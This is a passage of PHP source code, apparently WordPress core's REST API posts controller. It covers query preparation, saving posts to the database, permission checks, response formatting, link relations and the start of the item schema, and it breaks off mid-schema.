"rest_delete_{$this->post_type}", $post, $response, $request ); return $response; } /** * Determines the allowed query_vars for a get_items() response and prepares * them for WP_Query. * * @since 4.7.0 * * @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array. * @param WP_REST_Request $request Optional. Full details about the request. * @return array Items query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = array(); foreach ( $prepared_args as $key => $value ) { /** * Filters the query_vars used in get_items() for the constructed query. * * The dynamic portion of the hook name, `$key`, refers to the query_var key. * * @since 4.7.0 * * @param string $value The query_var value. */ $query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } if ( 'post' !== $this->post_type || ! isset( $query_args['ignore_sticky_posts'] ) ) { $query_args['ignore_sticky_posts'] = true; } // Map to proper WP_Query orderby param. if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) { $orderby_mappings = array( 'id' => 'ID', 'include' => 'post__in', 'slug' => 'post_name', 'include_slugs' => 'post_name__in', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $query_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } return $query_args; } /** * Checks the post_date_gmt or modified_gmt and prepare any post or * modified date for single post output. * * @since 4.7.0 * * @param string $date_gmt GMT publication time. * @param string|null $date Optional. Local publication time. Default null. * @return string|null ISO8601/RFC3339 formatted datetime. */ protected function prepare_date_response( $date_gmt, $date = null ) { // Use the date if passed. if ( isset( $date ) ) { return mysql_to_rfc3339( $date ); } // Return null if $date_gmt is empty/zeros. if ( '0000-00-00 00:00:00' === $date_gmt ) { return null; } // Return the formatted datetime. return mysql_to_rfc3339( $date_gmt ); } /** * Prepares a single post for create or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Post object or WP_Error. */ protected function prepare_item_for_database( $request ) { $prepared_post = new stdClass(); $current_status = ''; // Post ID. if ( isset( $request['id'] ) ) { $existing_post = $this->get_post( $request['id'] ); if ( is_wp_error( $existing_post ) ) { return $existing_post; } $prepared_post->ID = $existing_post->ID; $current_status = $existing_post->post_status; } $schema = $this->get_item_schema(); // Post title. if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $prepared_post->post_title = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $prepared_post->post_title = $request['title']['raw']; } } // Post content. if ( ! empty( $schema['properties']['content'] ) && isset( $request['content'] ) ) { if ( is_string( $request['content'] ) ) { $prepared_post->post_content = $request['content']; } elseif ( isset( $request['content']['raw'] ) ) { $prepared_post->post_content = $request['content']['raw']; } } // Post excerpt. if ( ! empty( $schema['properties']['excerpt'] ) && isset( $request['excerpt'] ) ) { if ( is_string( $request['excerpt'] ) ) { $prepared_post->post_excerpt = $request['excerpt']; } elseif ( isset( $request['excerpt']['raw'] ) ) { $prepared_post->post_excerpt = $request['excerpt']['raw']; } } // Post type. if ( empty( $request['id'] ) ) { // Creating new post, use default type for the controller. $prepared_post->post_type = $this->post_type; } else { // Updating a post, use previous type. $prepared_post->post_type = get_post_type( $request['id'] ); } $post_type = get_post_type_object( $prepared_post->post_type ); // Post status. if ( ! empty( $schema['properties']['status'] ) && isset( $request['status'] ) && ( ! $current_status || $current_status !== $request['status'] ) ) { $status = $this->handle_status_param( $request['status'], $post_type ); if ( is_wp_error( $status ) ) { return $status; } $prepared_post->post_status = $status; } // Post date. if ( ! empty( $schema['properties']['date'] ) && ! empty( $request['date'] ) ) { $current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date : false; $date_data = rest_get_date_with_gmt( $request['date'] ); if ( ! empty( $date_data ) && $current_date !== $date_data[0] ) { list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data; $prepared_post->edit_date = true; } } elseif ( ! empty( $schema['properties']['date_gmt'] ) && ! empty( $request['date_gmt'] ) ) { $current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date_gmt : false; $date_data = rest_get_date_with_gmt( $request['date_gmt'], true ); if ( ! empty( $date_data ) && $current_date !== $date_data[1] ) { list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data; $prepared_post->edit_date = true; } } // Sending a null date or date_gmt value resets date and date_gmt to their // default values (`0000-00-00 00:00:00`). if ( ( ! empty( $schema['properties']['date_gmt'] ) && $request->has_param( 'date_gmt' ) && null === $request['date_gmt'] ) || ( ! empty( $schema['properties']['date'] ) && $request->has_param( 'date' ) && null === $request['date'] ) ) { $prepared_post->post_date_gmt = null; $prepared_post->post_date = null; } // Post slug. if ( ! empty( $schema['properties']['slug'] ) && isset( $request['slug'] ) ) { $prepared_post->post_name = $request['slug']; } // Author. if ( ! empty( $schema['properties']['author'] ) && ! empty( $request['author'] ) ) { $post_author = (int) $request['author']; if ( get_current_user_id() !== $post_author ) { $user_obj = get_userdata( $post_author ); if ( ! $user_obj ) { return new WP_Error( 'rest_invalid_author', __( 'Invalid author ID.' ), array( 'status' => 400 ) ); } } $prepared_post->post_author = $post_author; } // Post password. if ( ! empty( $schema['properties']['password'] ) && isset( $request['password'] ) ) { $prepared_post->post_password = $request['password']; if ( '' !== $request['password'] ) { if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) { return new WP_Error( 'rest_invalid_field', __( 'A post can not be sticky and have a password.' ), array( 'status' => 400 ) ); } if ( ! empty( $prepared_post->ID ) && is_sticky( $prepared_post->ID ) ) { return new WP_Error( 'rest_invalid_field', __( 'A sticky post can not be password protected.' ), array( 'status' => 400 ) ); } } } if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) { if ( ! empty( $prepared_post->ID ) && post_password_required( $prepared_post->ID ) ) { return new WP_Error( 'rest_invalid_field', __( 'A password protected post can not be set to sticky.' ), array( 'status' => 400 ) ); } } // Parent. if ( ! empty( $schema['properties']['parent'] ) && isset( $request['parent'] ) ) { if ( 0 === (int) $request['parent'] ) { $prepared_post->post_parent = 0; } else { $parent = get_post( (int) $request['parent'] ); if ( empty( $parent ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post parent ID.' ), array( 'status' => 400 ) ); } $prepared_post->post_parent = (int) $parent->ID; } } // Menu order. if ( ! empty( $schema['properties']['menu_order'] ) && isset( $request['menu_order'] ) ) { $prepared_post->menu_order = (int) $request['menu_order']; } // Comment status. if ( ! empty( $schema['properties']['comment_status'] ) && ! empty( $request['comment_status'] ) ) { $prepared_post->comment_status = $request['comment_status']; } // Ping status. if ( ! empty( $schema['properties']['ping_status'] ) && ! empty( $request['ping_status'] ) ) { $prepared_post->ping_status = $request['ping_status']; } if ( ! empty( $schema['properties']['template'] ) ) { // Force template to null so that it can be handled exclusively by the REST controller. $prepared_post->page_template = null; } /** * Filters a post before it is inserted via the REST API. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_pre_insert_post` * - `rest_pre_insert_page` * - `rest_pre_insert_attachment` * * @since 4.7.0 * * @param stdClass $prepared_post An object representing a single post prepared * for inserting or updating the database. * @param WP_REST_Request $request Request object. */ return apply_filters( "rest_pre_insert_{$this->post_type}", $prepared_post, $request ); } /** * Checks whether the status is valid for the given post. * * Allows for sending an update request with the current status, even if that status would not be acceptable. * * @since 5.6.0 * * @param string $status The provided status. * @param WP_REST_Request $request The request object. * @param string $param The parameter name. * @return true|WP_Error True if the status is valid, or WP_Error if not. */ public function check_status( $status, $request, $param ) { if ( $request['id'] ) { $post = $this->get_post( $request['id'] ); if ( ! is_wp_error( $post ) && $post->post_status === $status ) { return true; } } $args = $request->get_attributes()['args'][ $param ]; return rest_validate_value_from_schema( $status, $args, $param ); } /** * Determines validity and normalizes the given status parameter. * * @since 4.7.0 * * @param string $post_status Post status. * @param WP_Post_Type $post_type Post type. * @return string|WP_Error Post status or WP_Error if lacking the proper permission. */ protected function handle_status_param( $post_status, $post_type ) { switch ( $post_status ) { case 'draft': case 'pending': break; case 'private': if ( ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_publish', __( 'Sorry, you are not allowed to create private posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'publish': case 'future': if ( ! current_user_can( $post_type->cap->publish_posts ) ) { return new WP_Error( 'rest_cannot_publish', __( 'Sorry, you are not allowed to publish posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: if ( ! get_post_status_object( $post_status ) ) { $post_status = 'draft'; } break; } return $post_status; } /** * Determines the featured media based on a request param. * * @since 4.7.0 * * @param int $featured_media Featured Media ID. * @param int $post_id Post ID. * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error. */ protected function handle_featured_media( $featured_media, $post_id ) { $featured_media = (int) $featured_media; if ( $featured_media ) { $result = set_post_thumbnail( $post_id, $featured_media ); if ( $result ) { return true; } else { return new WP_Error( 'rest_invalid_featured_media', __( 'Invalid featured media ID.' ), array( 'status' => 400 ) ); } } else { return delete_post_thumbnail( $post_id ); } } /** * Check whether the template is valid for the given post. * * @since 4.9.0 * * @param string $template Page template filename. * @param WP_REST_Request $request Request. * @return bool|WP_Error True if template is still valid or if the same as existing value, or false if template not supported. */ public function check_template( $template, $request ) { if ( ! $template ) { return true; } if ( $request['id'] ) { $post = get_post( $request['id'] ); $current_template = get_page_template_slug( $request['id'] ); } else { $post = null; $current_template = ''; } // Always allow for updating a post to the same template, even if that template is no longer supported. if ( $template === $current_template ) { return true; } // If this is a create request, get_post() will return null and wp theme will fallback to the passed post type. $allowed_templates = wp_get_theme()->get_page_templates( $post, $this->post_type ); if ( isset( $allowed_templates[ $template ] ) ) { return true; } return new WP_Error( 'rest_invalid_param', /* translators: 1: Parameter, 2: List of valid values. */ sprintf( __( '%1$s is not one of %2$s.' ), 'template', implode( ', ', array_keys( $allowed_templates ) ) ) ); } /** * Sets the template for a post. * * @since 4.7.0 * @since 4.9.0 Added the `$validate` parameter. * * @param string $template Page template filename. * @param int $post_id Post ID. * @param bool $validate Whether to validate that the template selected is valid. */ public function handle_template( $template, $post_id, $validate = false ) { if ( $validate && ! array_key_exists( $template, wp_get_theme()->get_page_templates( get_post( $post_id ) ) ) ) { $template = ''; } update_post_meta( $post_id, '_wp_page_template', $template ); } /** * Updates the post's terms from a REST request. * * @since 4.7.0 * * @param int $post_id The post ID to update the terms form. * @param WP_REST_Request $request The request object with post and terms data. * @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null. */ protected function handle_terms( $post_id, $request ) { $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( ! isset( $request[ $base ] ) ) { continue; } $result = wp_set_object_terms( $post_id, $request[ $base ], $taxonomy->name ); if ( is_wp_error( $result ) ) { return $result; } } } /** * Checks whether current user can assign all terms sent with the current request. * * @since 4.7.0 * * @param WP_REST_Request $request The request object with post and terms data. * @return bool Whether the current user can assign the provided terms. */ protected function check_assign_terms_permission( $request ) { $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( ! isset( $request[ $base ] ) ) { continue; } foreach ( (array) $request[ $base ] as $term_id ) { // Invalid terms will be rejected later. if ( ! get_term( $term_id, $taxonomy->name ) ) { continue; } if ( ! current_user_can( 'assign_term', (int) $term_id ) ) { return false; } } } return true; } /** * Checks if a given post type can be viewed or managed. * * @since 4.7.0 * * @param WP_Post_Type|string $post_type Post type name or object. * @return bool Whether the post type is allowed in REST. */ protected function check_is_post_type_allowed( $post_type ) { if ( ! is_object( $post_type ) ) { $post_type = get_post_type_object( $post_type ); } if ( ! empty( $post_type ) && ! empty( $post_type->show_in_rest ) ) { return true; } return false; } /** * Checks if a post can be read. * * Correctly handles posts with the inherit status. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be read. */ public function check_read_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } // Is the post readable? if ( 'publish' === $post->post_status || current_user_can( 'read_post', $post->ID ) ) { return true; } $post_status_obj = get_post_status_object( $post->post_status ); if ( $post_status_obj && $post_status_obj->public ) { return true; } // Can we read the parent if we're inheriting? if ( 'inherit' === $post->post_status && $post->post_parent > 0 ) { $parent = get_post( $post->post_parent ); if ( $parent ) { return $this->check_read_permission( $parent ); } } /* * If there isn't a parent, but the status is set to inherit, assume * it's published (as per get_post_status()). */ if ( 'inherit' === $post->post_status ) { return true; } return false; } /** * Checks if a post can be edited. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be edited. */ protected function check_update_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } return current_user_can( 'edit_post', $post->ID ); } /** * Checks if a post can be created. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be created. */ protected function check_create_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } return current_user_can( $post_type->cap->create_posts ); } /** * Checks if a post can be deleted. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be deleted. */ protected function check_delete_permission( $post ) { $post_type = get_post_type_object( $post->post_type ); if ( ! $this->check_is_post_type_allowed( $post_type ) ) { return false; } return current_user_can( 'delete_post', $post->ID ); } /** * Prepares a single post output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post = $item; $GLOBALS['post'] = $post; setup_postdata( $post ); $fields = $this->get_fields_for_response( $request ); // Base fields for every post. $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $post->ID; } if ( rest_is_field_included( 'date', $fields ) ) { $data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date ); } if ( rest_is_field_included( 'date_gmt', $fields ) ) { /* * For drafts, `post_date_gmt` may not be set, indicating that the date * of the draft should be updated each time it is saved (see #38883). * In this case, shim the value based on the `post_date` field * with the site's timezone offset applied. */ if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) { $post_date_gmt = get_gmt_from_date( $post->post_date ); } else { $post_date_gmt = $post->post_date_gmt; } $data['date_gmt'] = $this->prepare_date_response( $post_date_gmt ); } if ( rest_is_field_included( 'guid', $fields ) ) { $data['guid'] = array( /** This filter is documented in wp-includes/post-template.php */ 'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ), 'raw' => $post->guid, ); } if ( rest_is_field_included( 'modified', $fields ) ) { $data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified ); } if ( rest_is_field_included( 'modified_gmt', $fields ) ) { /* * For drafts, `post_modified_gmt` may not be set (see `post_date_gmt` comments * above). In this case, shim the value based on the `post_modified` field * with the site's timezone offset applied. */ if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) { $post_modified_gmt = gmdate( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - ( get_option( 'gmt_offset' ) * 3600 ) ); } else { $post_modified_gmt = $post->post_modified_gmt; } $data['modified_gmt'] = $this->prepare_date_response( $post_modified_gmt ); } if ( rest_is_field_included( 'password', $fields ) ) { $data['password'] = $post->post_password; } if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $post->post_name; } if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = $post->post_status; } if ( rest_is_field_included( 'type', $fields ) ) { $data['type'] = $post->post_type; } if ( rest_is_field_included( 'link', $fields ) ) { $data['link'] = get_permalink( $post->ID ); } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $post->post_title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); $data['title']['rendered'] = get_the_title( $post->ID ); remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); } $has_password_filter = false; if ( $this->can_access_password_content( $post, $request ) ) { $this->password_check_passed[ $post->ID ] = true; // Allow access to the post, permissions already checked before. add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 ); $has_password_filter = true; } if ( rest_is_field_included( 'content', $fields ) ) { $data['content'] = array(); } if ( rest_is_field_included( 'content.raw', $fields ) ) { $data['content']['raw'] = $post->post_content; } if ( rest_is_field_included( 'content.rendered', $fields ) ) { /** This filter is documented in wp-includes/post-template.php */ $data['content']['rendered'] = post_password_required( $post ) ? '' : apply_filters( 'the_content', $post->post_content ); } if ( rest_is_field_included( 'content.protected', $fields ) ) { $data['content']['protected'] = (bool) $post->post_password; } if ( rest_is_field_included( 'content.block_version', $fields ) ) { $data['content']['block_version'] = block_version( $post->post_content ); } if ( rest_is_field_included( 'excerpt', $fields ) ) { /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post ); /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'the_excerpt', $excerpt ); $data['excerpt'] = array( 'raw' => $post->post_excerpt, 'rendered' => post_password_required( $post ) ? '' : $excerpt, 'protected' => (bool) $post->post_password, ); } if ( $has_password_filter ) { // Reset filter. remove_filter( 'post_password_required', array( $this, 'check_password_required' ) ); } if ( rest_is_field_included( 'author', $fields ) ) { $data['author'] = (int) $post->post_author; } if ( rest_is_field_included( 'featured_media', $fields ) ) { $data['featured_media'] = (int) get_post_thumbnail_id( $post->ID ); } if ( rest_is_field_included( 'parent', $fields ) ) { $data['parent'] = (int) $post->post_parent; } if ( rest_is_field_included( 'menu_order', $fields ) ) { $data['menu_order'] = (int) $post->menu_order; } if ( rest_is_field_included( 'comment_status', $fields ) ) { $data['comment_status'] = $post->comment_status; } if ( rest_is_field_included( 'ping_status', $fields ) ) { $data['ping_status'] = $post->ping_status; } if ( rest_is_field_included( 'sticky', $fields ) ) { $data['sticky'] = is_sticky( $post->ID ); } if ( rest_is_field_included( 'template', $fields ) ) { $template = get_page_template_slug( $post->ID ); if ( $template ) { $data['template'] = $template; } else { $data['template'] = ''; } } if ( rest_is_field_included( 'format', $fields ) ) { $data['format'] = get_post_format( $post->ID ); // Fill in blank post format. if ( empty( $data['format'] ) ) { $data['format'] = 'standard'; } } if ( rest_is_field_included( 'meta', $fields ) ) { $data['meta'] = $this->meta->get_value( $post->ID, $request ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( rest_is_field_included( $base, $fields ) ) { $terms = get_the_terms( $post, $taxonomy->name ); $data[ $base ] = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array(); } } $post_type_obj = get_post_type_object( $post->post_type ); if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) { $permalink_template_requested = rest_is_field_included( 'permalink_template', $fields ); $generated_slug_requested = rest_is_field_included( 'generated_slug', $fields ); if ( $permalink_template_requested || $generated_slug_requested ) { if ( ! function_exists( 'get_sample_permalink' ) ) { require_once ABSPATH . 'wp-admin/includes/post.php'; } $sample_permalink = get_sample_permalink( $post->ID, $post->post_title, '' ); if ( $permalink_template_requested ) { $data['permalink_template'] = $sample_permalink[0]; } if ( $generated_slug_requested ) { $data['generated_slug'] = $sample_permalink[1]; } } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); $links = $this->prepare_links( $post ); $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions( $post, $request ); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } /** * Filters the post data for a REST API response. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_prepare_post` * - `rest_prepare_page` * - `rest_prepare_attachment` * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post Post object. * @param WP_REST_Request $request Request object. */ return apply_filters( "rest_prepare_{$this->post_type}", $response, $post, $request ); } /** * Overwrites the default protected title format. * * By default, WordPress will show password protected posts with a title of * "Protected: %s", as the REST API communicates the protected status of a post * in a machine readable format, we remove the "Protected: " prefix. * * @since 4.7.0 * * @return string Protected title format. */ public function protected_title_format() { return '%s'; } /** * Prepares links for the request. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { $base = sprintf( '%s/%s', $this->namespace, $this->rest_base ); // Entity meta. $links = array( 'self' => array( 'href' => rest_url( trailingslashit( $base ) . $post->ID ), ), 'collection' => array( 'href' => rest_url( $base ), ), 'about' => array( 'href' => rest_url( 'wp/v2/types/' . $this->post_type ), ), ); if ( ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'author' ) ) && ! empty( $post->post_author ) ) { $links['author'] = array( 'href' => rest_url( 'wp/v2/users/' . $post->post_author ), 'embeddable' => true, ); } if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'comments' ) ) { $replies_url = rest_url( 'wp/v2/comments' ); $replies_url = add_query_arg( 'post', $post->ID, $replies_url ); $links['replies'] = array( 'href' => $replies_url, 'embeddable' => true, ); } if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'revisions' ) ) { $revisions = wp_get_post_revisions( $post->ID, array( 'fields' => 'ids' ) ); $revisions_count = count( $revisions ); $links['version-history'] = array( 'href' => rest_url( trailingslashit( $base ) . $post->ID . '/revisions' ), 'count' => $revisions_count, ); if ( $revisions_count > 0 ) { $last_revision = array_shift( $revisions ); $links['predecessor-version'] = array( 'href' => rest_url( trailingslashit( $base ) . $post->ID . '/revisions/' . $last_revision ), 'id' => $last_revision, ); } } $post_type_obj = get_post_type_object( $post->post_type ); if ( $post_type_obj->hierarchical && ! empty( $post->post_parent ) ) { $links['up'] = array( 'href' => rest_url( rest_get_route_for_post( $post->post_parent ) ), 'embeddable' => true, ); } // If we have a featured media, add that. $featured_media = get_post_thumbnail_id( $post->ID ); if ( $featured_media ) { $image_url = rest_url( rest_get_route_for_post( $featured_media ) ); $links['https://api.w.org/featuredmedia'] = array( 'href' => $image_url, 'embeddable' => true, ); } if ( ! in_array( $post->post_type, array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) { $attachments_url = rest_url( rest_get_route_for_post_type_items( 'attachment' ) ); $attachments_url = add_query_arg( 'parent', $post->ID, $attachments_url ); $links['https://api.w.org/attachment'] = array( 'href' => $attachments_url, ); } $taxonomies = get_object_taxonomies( $post->post_type ); if ( ! empty( $taxonomies ) ) { $links['https://api.w.org/term'] = array(); foreach ( $taxonomies as $tax ) { $taxonomy_route = rest_get_route_for_taxonomy_items( $tax ); // Skip taxonomies that are not public. if ( empty( $taxonomy_route ) ) { continue; } $terms_url = add_query_arg( 'post', $post->ID, rest_url( $taxonomy_route ) ); $links['https://api.w.org/term'][] = array( 'href' => $terms_url, 'taxonomy' => $tax, 'embeddable' => true, ); } } return $links; } /** * Get the link relations available for the post and current user. * * @since 4.9.8 * * @param WP_Post $post Post object. * @param WP_REST_Request $request Request object. * @return array List of link relations. */ protected function get_available_actions( $post, $request ) { if ( 'edit' !== $request['context'] ) { return array(); } $rels = array(); $post_type = get_post_type_object( $post->post_type ); if ( 'attachment' !== $this->post_type && current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-publish'; } if ( current_user_can( 'unfiltered_html' ) ) { $rels[] = 'https://api.w.org/action-unfiltered-html'; } if ( 'post' === $post_type->name ) { if ( current_user_can( $post_type->cap->edit_others_posts ) && current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-sticky'; } } if ( post_type_supports( $post_type->name, 'author' ) ) { if ( current_user_can( $post_type->cap->edit_others_posts ) ) { $rels[] = 'https://api.w.org/action-assign-author'; } } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $tax ) { $tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name; $create_cap = is_taxonomy_hierarchical( $tax->name ) ? $tax->cap->edit_terms : $tax->cap->assign_terms; if ( current_user_can( $create_cap ) ) { $rels[] = 'https://api.w.org/action-create-' . $tax_base; } if ( current_user_can( $tax->cap->assign_terms ) ) { $rels[] = 'https://api.w.org/action-assign-' . $tax_base; } } return $rels; } /** * Retrieves the post's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', // Base properties for every Post. 'properties' => array( 'date' => array( 'description' => __( "The date the post was published, in the site's timezone." ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit', 'embed' ), ), 'date_gmt' => array( 'description' => __( 'The date the post was published, as GMT.' ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'guid' => array( 'description' => __( 'The globally unique identifier for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'GUID for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ), 'rendered' => array( 'description' => __( 'GUID for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ), 'id' => array( 'description' => __( 'Unique identifier for the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'link' => array( 'description' => __( 'URL to the post.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'modified' => array( 'description' => __( "The date the post was last modified, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'modified_gmt' => array( 'description' => __( 'The date the post was last modified, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the post unique to its type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'sanitize_slug' ), ), ), 'status' => array( 'description' => __( 'A named status for the post.' ), 'type' => 'string', 'enum' => array_keys( get_post_stati( array( 'internal' => false ) ) ), 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'validate_callback' => array( $this, 'check_status' ), ), ), 'type' => array( 'description' => __( 'Type of post.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'password' => array( 'description' => __( 'A password to protect access to the content and excerpt.' ), 'type' => 'string', 'context' => array( 'edit' ), ), ), ); $post_type_obj = get_post_type_object( $this->post_type ); if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) { $schema['properties']['permalink_template'] = array( 'description' => __( 'Permalink template for the post.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ); $schema['properties']['generated_slug'] = array( 'description' => __( 'Slug automatically generated from the post title.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ); } if ( $post_type_obj->hierarchical ) { $schema['properties']['parent'] = array( 'description' => __( 'The ID for the parent of the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); } $post_type_attributes = array( 'title', 'editor', 'author', 'excerpt', 'thumbnail', 'comments', 'revisions', 'page-attributes', 'post-formats', 'custom-fields', ); $fixed_schemas = array( 'post' => array( 'title', 'editor', 'author', 'excerpt', 'thumbnail', 'comments', 'revisions', 'post-formats', 'custom-fields', ), 'page' => array( 'title', 'editor', 'author', 'excerpt', 'thumbnail', 'comments', 'revisions', 'page-attributes', 'custom-fields', ), 'attachment' => array( 'title', 'author', 'comments', 'revisions', 'custom-fields', ), ); foreach ( $post_type_attributes as $attribute ) { if ( isset( $fixed_schemas[ $this->post_type ] ) && ! in_array( $attribute, $fixed_schemas[ $this->post_type ], true ) ) { continue; } elseif ( ! isset( $fixed_schemas[ $this->post_type ] ) && ! post_type_supports( $this->post_type, $attribute ) ) { continue; } switch ( $attribute ) { case 'title': $schema['properties']['title'] = array( 'description' => __( 'The title for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML title for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); break; case 'editor': $schema['properties']['content'] = array( 'description' => __( 'The content for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 